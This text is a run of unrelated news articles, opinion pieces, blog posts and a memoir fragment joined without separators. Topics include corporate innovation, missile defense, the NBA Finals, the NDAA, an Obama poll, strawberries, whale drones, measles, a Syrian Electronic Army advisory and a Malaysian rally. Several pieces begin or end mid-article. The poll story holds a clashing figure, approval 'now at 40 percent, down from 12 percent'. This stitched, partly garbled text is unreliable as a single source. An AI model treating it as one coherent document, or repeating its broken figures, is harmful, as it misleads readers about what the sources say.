A trip through HBR’s archives shows that he’s hardly alone in this view. Bernard Arnault, for instance, the executive chairman of luxury goods maker LVMH, was clearly in the same frame of mind when we caught up with him in a 2001 HBR interview. “Our whole business is based on giving our artists and designers complete freedom to invent without limits,” he said, in describing his role in managing the likes of Dior’s top designer, John Galliano (who was in the midst of marketing a dress made from newspaper) and Vuitton’s Marc Jacobs (who came up with Vuitton’s signature graffiti handbag design).
Into the people camp also falls Michael Schrage, who in the same year wrote a particularly thoughtful account of IDEO, “Playing Around with Brainstorming,” one of the first of many articles on design thinking that have graced the pages of HBR, and still one of the shrewdest. Writing in response to the publication that year of IDEO cofounder David Kelley’s The Art of Innovation, Schrage argues that IDEO’s ability to innovate lies not so much in the methodologies of brainstorming, hot teams, and rapid prototyping that Kelley describes but in its culture. It is the intensity of its people’s passion for innovation that animates IDEOs processes, he contends, forming a culture that’s “not typical, and not easy to emulate.”
Perhaps it’s not surprising that companies full of motion picture, fashion, and product designers should feel comfortable with the notion that innovation depends on talent. Or that this approach doesn’t sit well with the more engineering-oriented innovation thinkers whose work forms a parallel stream of thinking in HBR (and perhaps represent the other half of the crowd in Catmull’s polls).
Let’s call this the “In my ideal world, great ideas are generated through a process anyone can follow” camp. At the most technical end, arguably, is Intel, whose innovation process, based on the precise exchange of information, is described in meticulous detail by Steven Eppinger in “Innovation at the Speed of Information.”
The goal of many thinkers in this camp is to turn the practice of innovation into something closer to a production process than a creative process precisely to produce “more ideas – better ideas!” as Robert Sutton and Andrew Hargadon put it in “Building an Innovation Factory.”
Sutton and Hargadon bring useful detail to what might seem like a generic process: start with good ideas from lots of sources, discuss them, play with them, imagine new uses for old ideas, and turn promising concepts into real products, services, and business models. Stefan Thomke describes Bank of America’s process for inventing new service offerings in similarly useful detail in “R&D Comes to Services,” in which a set of bank branches serve as a test bed for creative ideas that was “large enough to support a wide range of experiments but small enough to limit the risks to the business.”
Lego has used the systems approach to great effect; P&G has arguably elevated the factory approach to its most elaborate. Coming something of a full circle, Intuit has famously instituted a process to teach everyone to think as creatively as the talented professionals of Pixar, Dior, and IDEO. Vividly described by Roger Martin in “The Innovation Catalysts,” this process requires as much grit and persistence as systems thinking, bringing to mind Schrage’s warning that even systematically generated design cultures are hard to pull off.
An uncomfortable sense that some of these innovation processes are as hard to emulate as the innovation cultures that depend on rare talent recently led Scott Anthony to think about the most minimal steps an organization that lacked both the resources of a P&G and the creative genius of a John Galliano could take to create a reliable path to innovation. The four steps he and his colleagues lay out in “Build an Innovation Engine in 90 Days” don’t promise to turn your company into a P&G overnight. But even here, while the steps may be minimal, they are not all that simple. The first requires that top managers understand and explicitly determine how innovation fits within the larger corporate strategy. The second that they select a few areas to explore that fit with what a substantial number of potential customers really need and what the company is uniquely positioned to deliver. Then it’s time to appoint a small innovation team and assign executive sponsors to guide them.
To help in this effort, particularly for small companies that may be new to innovation, Anthony distills a great deal of knowledge from highly experienced innovators into a nicely practical assessment both the team and their sponsors can use to answer what is perhaps the most fundamental question of all — “Should we pursue this new project?” – and work out whether (or not) they’re on the right track.
In a statement, the agency said an unarmed rocket launched from the Marshall Islands in the Pacific Ocean was "destroyed" by a ground-based interceptor launched from Vandenberg Air Force Base in Southern California as it traveled outside Earth's atmosphere.
The successful test was the first of its kind in nearly three years.
It came two days after North Korea tested a SCUD-type ballistic missile that landed in Japan's maritime economic zone in the Sea of Japan.
This system is vitally important to the defense of our homeland, and this test demonstrates that we have a capable, credible deterrent against a very real threat," said MDA Director Vice Admiral Jim Syring. "I am incredibly proud of the warfighters who executed this test and who operate this system every day."
While Tuesday's test wasn't designed with the expectation of an imminent North Korean missile threat, the military will closely look for progress toward the stated goal of being able to reliably shoot down a small number of ICBMs targeting the United States. The Pentagon is thirsting for a success story amid growing fears about North Korea's escalating capability.
The $244 million test will not confirm that the U.S. is capable of defending itself against an intercontinental-range missile fired by North Korea. Pyongyang also is understood to be moving closer to the capability of putting a nuclear warhead on such a missile and could have developed decoys sophisticated enough to trick an interceptor into missing the real warhead.
Syring's agency sounded a note of caution.
"Initial indications are that the test met its primary objective, but program officials will continue to evaluate system performance based upon telemetry and other data obtained during the test," his statement said.
About half of the previous tests of the Ground-based Midcourse Defense system have failed, attracting criticism from the Government Accountability Office and the Pentagon’s own weapons testing office, which says the system has “a limited capability” to defend the U.S. against an ICBM attack.
Faced with the prospect of an enemy state obtaining long-range weapons, the Pentagon rapidly deployed the interceptor system in 2004, long before development and testing were complete.
The Pentagon has other elements of missile defense that have shown to be more reliable, although they are designed to work against medium-range or shorter-range ballistic missiles. These include the Patriot missile, which numerous countries have purchased from the U.S., and the Terminal High-Altitude Area Defense, or THAAD, which the U.S. deployed this year to South Korea to defend against medium-range missiles from North Korea.
Thirty-six interceptors stand guard at Vandenberg and at Fort Greely in Alaska. By the end of 2017, the Pentagon plans to have forty-four.
Stone praises Putin for managing to stay on the world stage for 16 years and his work ethic — pretty standard pro-Putin legacy doled out by the Kremlin every day. It is naked propaganda there is no other way to describe what Stone is doing in this interview and something Stone visibly becomes frustrated with trying to explain and justify. At the 4:10 mark, Stone delivers the Russians’ message for them: “He really wanted–wants, still–still wants a partnership” with the US.
At the 4:50 mark, Stone talks about how Putin has been abused, to which the crowd groans and Stone amends his statement adding, “In the media.” Of course, that just makes the crowd laugh and jeer even louder. That’s what aired, but not all that happened.
Page Six reported
“Why don’t you ask me about that?” — but we’re told that the host shot back, “I’ll ask you about that when you make a documentary about Israel!” (The source described Stone’s Israeli argument as “a classic anti-Semitic canard.”)
It's official: Matthew Dellavedova is one fearless, hard-nosed son of a gun. The mark he has made in these Finals has been nothing short of amazing. The Cavaliers' backup point guard has completely overshadowed the league's MVP, Stephen Curry, and it hasn't even been close.
* Related: Dellavedova hospitalized with severe cramping
Dellavedova is doing it with a relentless drive and determination that's overpowering the long-range marksman. The second-year player went for a postseason career-high of 20 points in a Game 3 win over the Golden State Warriors to put the Cavaliers up 2-1 in the series.
Chants of "Delly, Delly" throughout the arena have become frequent, and the team hasn't missed a beat with Kyrie Irving gone for the season. No one saw this coming. I sure didn't, and for that, I must apologize.
In early March, I wrote about how head coach David Blatt was overusing Dellavedova and how he likely sees himself in the Australian. Blatt remembered that story and graciously invited me into his office for an exclusive interview after the Game 3 victory.
We sat on his sofa and that's when, as the young folks would say, he went in.
"And you were full of s---," Blatt said in hilarious fashion, referring to that article. "I've been waiting to tell you that for a long time."
His childhood friend from Boston was in the office as well and couldn't hold it together, bursting out in laughter.
"Chris is a man. He can take it," Blatt said with a smile. "And basically Chris is a real good guy, but sometimes, like other writers, when the sun goes down, they turn into a------."
Blatt was having fun. It wasn't anything malicious. It was just a couple of guys shooting the breeze, talking hoops. I asked what gave him the confidence to use Delly in crucial moments of games at a point in the season when the decision was unpopular. What was it that he saw that was unrecognizable to others, including me?
"I think the thing with Delly is that he has an impact above and beyond just what you see on the floor," he answered. "He's a character kid. He's a teammate He does the dirty work. He takes on the tasks that a lot of guys aren't willing to and he relishes it.
"It's hard to see it from the outside. It really is. I think it's a character thing. I really do. Plus he has a little bit more ability than people give him credit for. But he's not a thing of beauty and he's not ever going to wow you on SportsCenter except in unusual ways, but he's always going to be there."
J.R. Smith and Brendan Haywood were on the bench marveling at what Dellavedova was doing out there last night. While Dellavedova was locking down his man defensively, stepping in and hitting a 25-footer, knocking down clutch free throws, throwing alley-oops to LeBron James in transition and diving for loose balls, the two agreed during the game that this guy's story needed to be told in detail.
"We were just thinking on the bench that somebody has to write a book on this kid," Smith said. "Who would have thought he would be in the NBA Finals and 20,000 fans chanting his name? He's a rugby player and what not. To be in this situation, it's incredible.
"Every time he touches the ball, every time he gets a stop or whatever the case is, 20,000 people go berserk. For him in that situation, there are not too many people that get that chance, that opportunity. [If somebody said] 'Yo, would you ever think this would happen to a guy like that?' And I would say the only time it would happen to him is if it's in his dreams. Like seriously, that's a real-life storybook for him. It's a storybook setting."
Dellavedova isn't the fastest, the quickest, the most athletic, but he's getting the job done and giving the Warriors fits in the process. It's much easier to measure skill and talent, but quite the opposite when measuring a man's heart. That's what I missed initially with Delly - his heart.
His willpower and pursuit of excellence are what got him to this point. Those who observe his tremendous work ethic aren't surprised by the results produced on this mega stage.
"Delly gives all kids hope about making it to the NBA," Cavs big man Kendrick Perkins said. "You got a kid who puts in arguably the most work on the team. The way he studies film. Every time I walk in there, he's the first guy there. He done shot and lifted and ate breakfast and shot again and all types of s--- before I got there. If you were to see Delly on a daily basis, you would see why all this is coming together for him."
Those controversial minutes that Blatt played Dellavedova during the season prepared him for this moment. It gave him the confidence that he can excel at this level against the great point guards in this game. Had Blatt refused to play him like some had called for, what position would the Cavaliers be in currently?
The organization used forward thinking in its use of Dellavedova. The Cavs didn't know they would need him to play close to 40 minutes a game come the postseason, but they knew they would need him. Blatt was right all along in sticking with his guy and it's paying off like never before.
Right now this is Delly's world. And we, me included, are all going along for the ride. And boy, it has been one reliable ride.
Once again, our nation has demonstrated that the ”land of the free” is an empty slogan, a vestigial nod to a constitutional vision that has long inspired the world yet seems wasted on our own shores. For what purpose, exactly, did the United States squander decades, trillions of dollars, and thousands of lives during the Cold War?
FDR was right: “The only thing we have to fear is fear itself.” More so than any terror threat, it is the fear mongering about national security that presents the greatest danger to our Republic’s future. No “home of the brave” would be brow-beaten by fears of “giving rights to terrorists” into resigning its own rights, inviting repression upon itself by allowing government powers long used to define authoritarianism.
Welcome to the U.S. House of Representatives! Is it too generous to say that democracy in America hangs by a thread?
The America I know wasn’t intimidated: thousands have mobilized all over the country to defend their rights. Dozens of Occupy sites joined with Tea Party chapters in national days of action in December, February, and decentralized actions dating back even earlier. Grassroots activists have organized forums, rallies, marches, protests, vigils, flashmobs, street theater, and more from coast-to-coast.
This week, Hawaii (a blue state) joined Arizona (red) and Virginia (purple), in addition to a dozen local jurisdictions across eight states — led by the conservative Colorado county that hosts the Air Force Academy — that have raised their voices decrying the NDAA’s detention provisions and demanding due process.
The failures of Congress, or for that matter the (to quote…ahem…Sarah Palin) “lamestream press” to pay any heed to these myriad voices suggests a process problem even beyond military detention. If our elected leaders are beholden to executive power and hellbent on eroding the judiciary’s (and their own) ability to check future abuses, does it even matter what We the People do?
It’s a bit like watching a Republic fall apart at the seams, in slow motion.
If a transpartisan coalition, uniting everyone in the country who cares enough about constitutional rights to actually understand them, from Green party lawyers to Tea party military vets, from San Diego to Maine, can not force Congress to respect the principles every member has sworn an oath to defend, then what possibly could?
It gets better…er, worse.
Not only has Congress given its institutional middle finger to the Constitution, but the Chicago Police Department — which not long ago tortured hundreds of innocent African-American men into false confessions (sound familiar?) — is offering clues about what life under the NDAA might one day look like. Perhaps still reeling from the memory of the 1968 Democratic National Convention, the CPD has learned from its mistakes, preempting First Amendment activity by abducting activists. [UPDATE: Several of the activists abducted on Wednesday have since been accused of terrorism.]
This weekend’s NATO summit has already inspired crackdowns by the city government. Wednesday night’s warrantless raid of a Bridgeport apartment complex, and abduction of nine activists, took the militarization of domestic police to a new level. Chicago seems like a banana republic in its casual disregard for basic rights: the detainees were held incommunicado for a night, shackled hand & feet, and denied access to counsel.
Perhaps the banana republic reference fits more closely than we might like. The US Army has long trained foreign militaries to violate human rights at the WHINSEC / School of the Americas. Are the Chicago police simply bringing those chickens home to roost?
About 15 years ago, in the mid-90s, my housemates and I were mugged by a gang of Chicago police officers a few blocks from our Rogers Park apartment. The next week, I visited the police precinct and picked the officers’ faces out of a book of photos. That was the last I heard of the process.
The same lack of transparency, and predictable lack of accountability, is apparent in the CPD’s refusal to even acknowledge the fact of Wednesday night’s raid, let alone inform legal counsel for the detainees’ about their whereabouts. Activists raided by police because of their speech? Disappeared and held in shackles?
These are not things that are supposed to happen in America. Millions of armed servicemembers did not die in foreign wars so that timid politicians could legislate away the basic freedoms they fought to protect.
Or, put another way, are the “toughest” members of Congress — by voting not to let journalists, or translators, developmentally challenged mentally ill targets of FBI entrapment plots (like this one, these others, or still more), environmental and animal rights activists, supporters of Ron Paul, or military veterans have a day in court before subjected to arbitrary and indefinite imprisonment in military custody — ultimately doing the work of terrorists for them? Who’s the enemy here?
As an attorney, I’d suggest that members of Congress who opposed the Smith-Amash amendments take care, and watch their words.
If Big Brother decides (through what process, one wonders?) that Representatives Landry, Rigell, Gohmert and their allies are the real threats to our Republic (which is debatable), or our Constitution (which is undeniable), they may find themselvesin a military brig one of these days.
The poll released Monday morning shows that, for the first time, a majority of Americans at 53 percent believe the president is not honest and trustworthy.
The survey also showed a sharp decline in the number of people who say Obama can manage the government effectively – now at 40 percent, down from 12 percent in June and the worst score the president received in the survey, which tested how people view nine personal characteristics.
"A lot of attention has focused on the President's numbers on honesty in new polling the past three weeks, but it looks like the recent controversy over Obamacare has had a bigger impact on his status as an effective manager of the government, and that may be what is really driving the drop in Obama's approval rating this fall," CNN Polling Director Keating Holland said.
The numbers tick even higher – up to 53 percent disapproving – when Americans are asked if Obama is a person they admire. An equal number say they don't agree with him on important issues or view him as a decisive leader, and 56 percent say they don't believe he inspires confidence. All of these are record lows for Obama in CNN's polling.
One positive note in the poll: Most Americans still view him as someone who cares about ordinary people with six in 10 saying he has a vision for the country's future and seven in 10 saying he is likable.
Melissa Block talks with Marvin Pritts, a Cornell horticulture professor, about why store-bought strawberries aren't as tasty as the ones you might pick on your own.
MELISSA BLOCK, HOST:
I bet you know this feeling: you bring home a box of perfect, plump, ruby-red strawberries from the supermarket, then you bite into one and you taste absolutely nothing. Close your eyes and you might not even know it's a strawberry at all. Why? Why?
We're hoping Marvin Pritts can help explain. He's a horticulture professor at Cornell University and a berry crop specialist. Professor Pritts, welcome to the program.
MARVIN PRITTS: Thank you. It's good to be here.
BLOCK: And how did this happen? The mass produced strawberry tastes nothing like a fresh strawberry that I might pick from a field. What has that strawberry been bred to do?
PRITTS: So over the last hundred or so years, people have been breeding strawberries for various important traits; size and yield - those are obvious ones, maybe color, disease and insect resistance, flavor. And as you select and try to improve one, oftentimes one of the others has to be sacrificed slightly to make progress.
So we've actually done work where we've taken strawberries from each the decades, for the last hundred years, and planted them in a common field and then evaluated them and see what has changed. And we've seen that size has increased. We've seen that yield has increased. We've seen that firmness has increased. But we've seen that sugar content and flavor has somewhat decreased.
BLOCK: You know, one thing I always wonder about, when I see those perfect strawberries in the supermarket, is the color. Is that actually sun-ripened redness just great from the field or is there something chemically-induced going on there?
PRITTS: There is nothing chemically-induced. But a strawberry that's not quite fully red will turn red even just sitting on the shelf. And that's why the color is sometimes deceiving - it doesn't necessarily mean that it's fully ripe and fully flavorful.
It's too bad that supermarkets don't let you sample before you buy, because that would really change the whole complexion of our supermarkets. So we have to make judgments based on what we see and it's not always reflective of how something tastes. If you could slice the strawberry in half, too, that could tell you a lot. Usually the better flavored strawberries are red through and through. A lot of the strawberries that aren't quite so flavorful are white - they're red on the outside but white on the inside.
BLOCK: One thing you mentioned earlier was size, that we like bigger strawberries. Why the focus on larger fruit? Why has that become so dominant, do you think?
PRITTS: I think for two reasons. One is Americans just naturally think bigger is better. Then the other factor, particularly with smaller size fruit like strawberries, is because of the labor situation being so expensive and difficult to obtain. It's a lot faster to pick a flat of strawberries when the strawberries are large, then it is when the strawberries are small. Large strawberries saves you a lot of money and labor.
BLOCK: Marvin Pritts, when you're buying a strawberry, what do you look for?
PRITTS: The first thing I do is look for where they are grown. If I have a choice I buy the strawberries that are grown closest to where I live, because I know that those are the ones that are probably going to be picked the closest to being fully ripe. Then I look for strawberries that have a nice shape, that are red all the way through, all the way around. Because I know, again, those are close to ripeness.
But I don't want strawberries that are so right that they start to decompose or mold or get watery inside the package.
BLOCK: And then you just cross your fingers and hope that they taste like something.
(SOUNDBITE OF LAUGHTER)
PRITTS: That's right. And, you know, the breeders don't intentionally select for strawberries that don't taste good. It's just that it's hard to have that flavor and everything. So, sometimes they hit a homerun and end up with something that's really high yielding and productive, and tastes really great, too. But a lot of times they don't quite get there.
BLOCK: Well, Marvin Pritts, thanks so much for talking to us.
PRITTS: You're quite welcome, Melissa.
BLOCK: Marvin Pritts is a horticulture professor and a berry crop specialist at Cornell University.
Copyright © 2012 NPR. All rights reserved. Visit our website terms of use and permissions pages at www.npr.org for further information.
Spurs set a deadline for their Togolese striker to be back with them following his appearance at the Africa Cup of Nations.
Adebayor missed the cut-off point on Friday, forcing the club to send a private jet to pick him up.
With Spurs short on attacking options heading into Saturday's showdown with Newcastle, Villas-Boas was left with no choice but to turn to Adebayor - who started the game on the bench.
Asked after a 2-1 victory, which briefly took Spurs into the Premier League's top three, whether action would be taken against Adebayor, Villas-Boas said: "We shall, it is done, we won't talk about it publicly.
"He arrived on Friday around 6 o'clock, landed in Luton. So he joined the team in the hotel.
"He was authorised to come back on Friday.
Image copyright NOAA Image caption Gray whales can weigh more than 30,000kg
Instead of standing on the shore with binoculars, scientists are turning to drones to monitor wild populations of whales off the US coast.
A hexacopter hovers 40m or more above the ocean, kitted out with a high-resolution camera to record valuable images of these huge beasts.
Researchers can use these pictures to count the whales, but also to study their health and their behaviour.
This will allow a thorough survey of the gray whales living off California.
"We can't put a gray whale on a scale, but we can use aerial images to analyze their body condition - basically, how fat or skinny they are," said John Durban, a marine mammal biologist at Noaa Fisheries.
Gray whales reach up to 15m in length and can live for more than 50 years. The amount of fat that they carry is crucial - especially for a mother nursing a calf.
Image copyright NOAA Image caption Blubber is crucial for survival: the skinny mother on the left may not have enough reserves for her to reach the Arctic while nursing her calf
This is because the beasts don't eat during the long months they spend migrating. So they need a healthy stock of blubber if they are to reach their summer feeding grounds in the Arctic.
Studying the animals from the air allows Dr Durban and his colleagues to compare their size, between different animals but also over time.
"By studying the body condition of females, we hope to connect the dots between conditions in the Arctic one year and calf production the next," he explained. "Ultimately, we're trying to understand how environmental conditions affect the reproductive success of the population."
Image copyright NOAA Image caption The researchers used to watch from the shore with binoculars to count the whales and their calves
These whale were hunted nearly to extinction but after legal protection was introduced in the second half of the 20th Century, they recovered. In 1994, the Pacific population of gray whales officially came off the US endangered species list.
This makes them a valuable subject for research - since most other large whales are still threatened or endangered, there are very few opportunities to see how larger populations interact with each other and their environment.
"With gray whales, we're just beginning to understand what a recovered population of large whales looks like," said Dr Durban.
The team has also used drones to look at killer whales off the coast of British Columbia, in Canada.
Image copyright NOAA/Vancouver Aquarium Image caption Dr Durban's team also used drones to observe killer whales - like this family of seven
The height of the hexacopter is a key concern, because whales and other marine species are sensitive to disturbances in their environment. So the contraption is fitted with a precise altimeter to monitor how high it is. That helps with analysing the pictures, but also means it can keep a safe distance.
The length of roadworks on motorways and A-roads in England should be shortened to reduce drivers' frustrations, ministers have urged.
Contractors are being asked to limit lane closures, with one report suggesting they should only be between two and five miles long.
Highways England, which manages the roads, is looking at the request to shorten roadworks, the BBC understands.
The Department for Transport said "common sense decisions" were needed.
Longest roadworks
Motorists on some major roads are contending with speed restrictions running for more than 15 miles.
Areas of particular concern are understood to include the M1 and M3 motorways, where there are currently the longest stretches of roadworks in the country.
Among the longest stretches in England - according to traffic information company Inrix - are:
An 18.1-mile stretch of narrow lanes and speed restrictions on the M1 near Chesterfield, between junctions 28 and 31
A 15.5-mile road improvement scheme on the M3, between junction 2 and Fleet Services, near Farnborough
Between junctions 16 and 19 of the M1 near Northampton, 13.7 miles of restrictions
On the M6, 9.2 miles of roadworks between junctions 10a and 13, near Birmingham
A DfT spokesman said: "Our road investment strategy will deliver the biggest upgrade to Britain's roads in a generation and secure our transport network for the long-term.
"But as it is delivered we've got to respect the drivers who use our roads every day.
"That means taking common sense decisions to minimise frustrations wherever possible."
Edmund King, president of the AA, said: "We'd like to see overnight working done where it's possible. We'd like to see stretches of motorways limited to 10 miles.
"We'd like to see more the variable speeds on, and also more incentives to get the roadworks finished on time."
'Minimise disruption'
A Highways England spokesman said: "We want to provide a better, safer experience for road users on England's motorways and major A roads, including throughout roadworks where major upgrades are being carried out.
"We are committed to minimising disruption from roadworks even further and are exploring managing work in different ways while ensuring good value for money for the public."
He added that the majority of roadworks were carried out overnight, with lanes also closed during the day on some projects like major improvement works.
When I think about it, I’m now booking playdates for all five of my kids on a weekly basis, which does make for a pretty busy schedule given the other activities they do! Also makes me realize that I’ve turned 360 degrees from how I approached playdates a few years back. When my oldest Hedley (now 10) was 5, I struggled on a daily basis with juggling Hedley and his three younger sibs, including a baby I was nursing. Our daily life had me so stretched and pulled … I was completely overwhelmed. Happy and content as I felt with the babies, I resisted throwing into the mix a spontaneous event that wasn’t planned. Hedley maybe had under 10 playdates for his entire preschool career. He also missed a fair amount of birthday parties, which he is fully aware of and points out to me to this day! Oops!
Yet I now think playdates are really important for kids of any age. Here are 5 reasons why I think they have benefited my kids, with a focus on Marielle to illustrate why:
1) Playdates make your child feel as if he has a life of his own. Marielle is the 5th child and gets the short end of the stick on a daily basis. If I’m busy with the other kids when it’s time for her to go to bed, she gets plopped into bed. There’s no ritual, no daily song, and only sometimes, a book or two. Yet when Marielle’s skipping home to host a play date, she’s giddy with joy. She knows that her Mommy put aside some time for her to be with a friend and that makes her feel like an INDIVIDUAL. Like she matters. She’s not just part of the herd. Beckett, my 7 year old, also relishes special time with a friend outside of school and in a new environment. He’s the third of three boys and fights to have a role and a voice! Here he is on the way to a recent museum visit with a friend.
2) When you find the right playmates, playdates are fun. Just as we adults click with certain others, so do our kids. On certain play dates, Marielle will be drawing princesses while her friend plays on his own with trains. But on others, Marielle and her friend laugh in harmony as a naughty duo, concocting up a whole range of small adventures. They are leaping across our hall as if it’s a deep river, giving each other hairstyles (and this includes boys, one of whom recently adopted a headband of Marielle’s to his delight) or making cities and trains using our old Thomas the Train set. Our apartment (usually overtaken by the noise and clamor of her four older siblings) is her’s. The time is her’s. It’s special and she revels in it.
3) Playdates help your child connect more deeply with a classmate. When you have fun with someone, you like to be with them, and you feel connected to them. Not to mention working up your kid’s social skills. You may be wondering “How can I teach my toddler to share?” Having them interact with other kids their age while at their homes will teach them these valuable lessons!
4) Playdates allow you as a parent to see how your child interacts with their peers. It’s fun for me to witness Marielle playing and talking with her pals. I’ve seen a funny, silly side of her come out during playdates. She feels like the leader and loves to suggest what she and her friend will do, a different role for her than the one she plays at home.
5) Playdates allow your child to experience another family and their home. All families are different, all homes are different, and we all eat different things and do things in our own unique and special ways. I think it’s great for active kids to learn that when they step into a friend’s home, the rituals there might differ from what they’re used to and that they need to adjust and follow suit. Also, it’s enriching to get to know a friend’s parent, too!
So rather than thinking of them as a waste of time, I’m now a big believer that playdates are pretty much essential. Setting them up often soaks up a lot of time, as does the dropping off and picking up. But to me, those small costs shrink in importance when you consider the benefits to your kid.
How often do your children do playdates and do you think they matter? I’d love to hear from you.
Hope you liked this little blog post and please feel free to write in with your reactions.
Gratefully,
Sharp Health Care temporarily closed its Rees-Stealy Urgent Care in La Mesa as officials investigate several reported cases of measles, which may be tied to an outbreak at Disneyland.
Six siblings, ranging in age from 22 months to 18 years old, came into the urgent care at 5525 Grossmont Center Drive about 11:45 a.m. Wednesday. The urgent care is on the first floor of a medical plaza, across the street from the hospital's emergency room.
Once employees realized all six had rashes and measles-like symptoms, caretakers masked them, isolated them and got doctors and nurses involved, according to Sharp Marketing and Communications Manager Frances Schnall.
They then closed down the facility, posting a sign and two triage nurses at the door to turn away people.
Photo credit: Steven Luke
Officials also talked with those in the same room as the possible measles patients. They wrote down each person's name and asked if they are up-to-date on their measles vaccinations. Schnall said the information for about 40 people will be handed over to county health officials for tracking.
Doctors and nurses have tested the potential measles patients and sent those samples to the county. It's unclear when the results of the tests will be released.
Measles is a highly contagious disease that spreads through the air by coughing and sneezing. Since it is airborne, the urgent care had to wait a certain time before the air inside circulated and was clean. They also did a thorough cleaning of the area, disinfecting everything from top to bottom.
By Wednesday evening, all six patients were sent home, and just before 6 p.m., the urgent care was reopened.
All other departments in the Sharp complex operated as usual. Officials said their caregivers are trained to treat such cases and are taking "every precaution to protect the safety of all patients and staff."
If the tests come back positive for measles, these six cases could be linked to a measles outbreak which has been traced back to Disneyland resort. Twenty-six people in four states have been sickened after visiting the theme park between Dec. 17 and Dec. 20, 2014.
"Indeed, two of the siblings had been to Disneyland with the parent on Dec. 18, so that's the actual link," said Dr. Wilma Wooten with the San Diego County Health and Human Services Agency.
However, county health officials do not believe the family, if positive for measles, exposed others outside of the urgent care.
Three confirmed measles patients live in San Diego. Two of the local cases — a pair of siblings — visited the Parkway Plaza Mall in El Cajon on Dec. 29, possibly exposing others, county health officials warned. Another measles case was confirmed Tuesday. All local patients never had to be hospitalized.
Early symptoms include a high fever, cough, runny nose and red, watery eyes, according to the Centers for Disease Control and Prevention. Two to three days in, tiny white spots may develop inside the mouth. After three to five days, the distinctive rash begins to form.
The U.S. Federal Bureau of Investigation (FBI) has officially placed the SEA on an advisory list following a string of attacks on media and government outlets.
The FBI's advisory includes basic information on the SEA, its known capabilities to cause damage, and documents some of the group's most high-profile cyberattacks.
The pro-Assad hacktivist group has taken responsibility for a number of cyberattacks, including compromising the Twitter feed of The Associated Press and other media outlets. When the AP's Twitter feed was taken over, the SEA posted a fake story stating that President Obama had been injured, causing drops in the stock market.
This year, the SEA has targeted The New York Times, The Washington Post and Twitter itself; taking advantage of weak security measures used by website hosts to redirect users to SEA-controlled websites.
“Man up, son, get that dress off you and get outside and dig a ditch, because that is what boys do.”
This is a brilliant sign featuring the daughter of Priscilla Parker, the new leader of MASH Fort Bragg (Military Atheists & Secular Humanists). It’s funny and cute way to say – who cares if their daughter is a lesbian (‘digs holes’)?
Priscilla has secured a protest permit near the Berean Baptist Church. The Police Department has estimated that hundreds of people are going to show up, starting in about an hour, but going all the way up until noon. RSVP here.
Christian groups are actually coming out to represent in large numbers, standing tall with us. They instantly realized that Sean Harris’ statements are extreme in nature and they want to send a message – that his theology is the fringe. His congregation is akin to Westboro Baptist Church.
This particular protest is not about attacking ‘all religion’. Please do not bring signs that divide this rare opportunity for acceptance in a highly polarized town. Make your message about Sean Harris and his statements. Don’t spare local Pastor Mark Rowden either. He outed himself as an ardent supporter yesterday. I hope the media has a field day with him too.
Autistic child? Crack those wrists for Jesus!
Take a lesson from the above sign. Make yours like this. Not everyone even needs a sign! I’ve heard some of my friends mention they are dressing up their infants ‘in drag’. Get creative! But stay on topic, and relax if someone didn’t get the memo. You can’t win them all.
Priscilla Parker had another problem with Sean Harris statements.
…read more below the fold…
Dads, the second you see your son dropping the limp wrist, you walk over there and crack that wrist. Man up. Give him a good punch. Ok?
Her daughter Rhiannon (featured in that picture above) is autistic. She is very interested in digging holes because she likes the feeling of textures, and also the pressure on the ground. Limp wrists can be associated with autism. Lots of autistic children hand flap while ‘stimming’ (stimulating).
It is often stated that diseases like epilepsy were the likely culprit for tales of possessions, leading to futile bloody witch hunts. I wonder how often statements like these can still take root and have similar consequences. Is it mainstream Christian doctrine to ‘punch the gay away’? No. So let’s keep it that way.
KUALA LUMPUR, Aug 28 ― Datuk Seri Tengku Adnan Tengku Mansor has compared the planned Bersih 4 rally tomorrow to the Low Yat riot, cautioning against the possibility of protesters marching under the influence of drugs, much like the suspects of the tech mall brawl incident.
“Don’t play with fire because, you play with fire, when the fire becomes big, then we have a problem,” the Umno minister popularly referred to as “Ku Nan” told Malay Mail Online in an interview at the Kuala Lumpur City Hall (DBKL) headquarters here yesterday.
“At least Low Yat, we managed to contain even though we know the person who stole the phone is under the influence of drugs. This is the problem.
We don’t know who is going to walk. And some people might walk under the influence of other things,” the Federal Territories minister added.
According to Inspector-General of Police (IGP) Tan Sri Khalid Abu Bakar, the alleged accomplice of the man accused of stealing a phone at Low Yat Plaza last month had tested positive for drugs. The phone theft had led to the racially-charged brawl that saw several people injured.
Tengku Adnan said a commotion could happen if “crazy people” start throwing things at protesters at the Bersih 4 rally, the overnight protest by polls reform group Bersih 2.0 that will kick off from 2pm in the city and several other venues tomorrow.
“When a commotion happens, what will happen, like what happened in Low Yat Plaza,” added Tengku Adnan, who is also Umno secretary-general.
He said the authorities will not allow protesters to sleep on the streets of Kuala Lumpur in the 34-hour rally.
“If [you] want to sleep in, go to the hotel and sleep lah. There’s a lot of budget hotels, a lot of five-star hotels if you have money.
“Not to sleep on the streets. We wouldn’t allow it because we have enough problems with the homeless already in Kuala Lumpur which we’re trying to solve,” said the minister.
Tengku Adnan claimed that the “silent majority” is bigger than those who are participating in the street demonstrations, dismissing protesters as “empty tins” that make the most noise.
My schoolmates and I hurried up the gangway of the Lady Baltimore with the loud, obnoxious swagger that is universal to groups of hormonally-charged 13-year-olds. We were almost done with our last year of middle school, many of us were fresh from our bar and bat mitzvahs, and summer was beckoning us. As Fresh Prince and DJ Jazzy Jeff said in that year’s summer anthem (already on heavy rotation on our local radio station): “Every moment frontin and maxin/ Chillin in the car they spent all day waxin/ Leanin to the side but you can’t speed through/Two miles an hour so everybody sees you/There’s an air of love and of happiness/And this is the Fresh Prince’s new definition of summer madness”
Profound, I know. It was 1991.
As I stepped onto the deck of the ship, a faint ache in my abdomen tugged at me. I had noticed the pain earlier in the day as I skipped up the stairs of the State House, along with a slightly wet feeling in my underwear. I figured I was just feeling a little sea-sick after the long boat-ride, and the warm spring sun was making me not-so-fresh. I shrugged off the discomfort and sought out my small group of friends.
About twenty minutes later, I was leaning on the rails of the observation deck, looking out at the Chesapeake Bay, when I felt a tap on my shoulder. I turned to see my friend Rose with a look of mild distaste and concern on her face. She leaned in and whispered:
“You need to go to the bathroom. You’re…leaking.”
I looked at her quizzically. Leaking? What did she mean? I couldn’t have wet myself…I was in 8th grade, for God’s sake!
“Your period. You got your period. It’s…all over your butt.”
I craned my neck to see what she was talking about. There it was: a large red stain decorated the seat of the new white jeans shorts my grandmother had given me.
My period. I had my period. Like, for real.
I glanced past Rose to discover Jessica Freidman and her group of Jewish American Royalty smirking at me and cackling. Oh, God. This was bad. This was tragic.
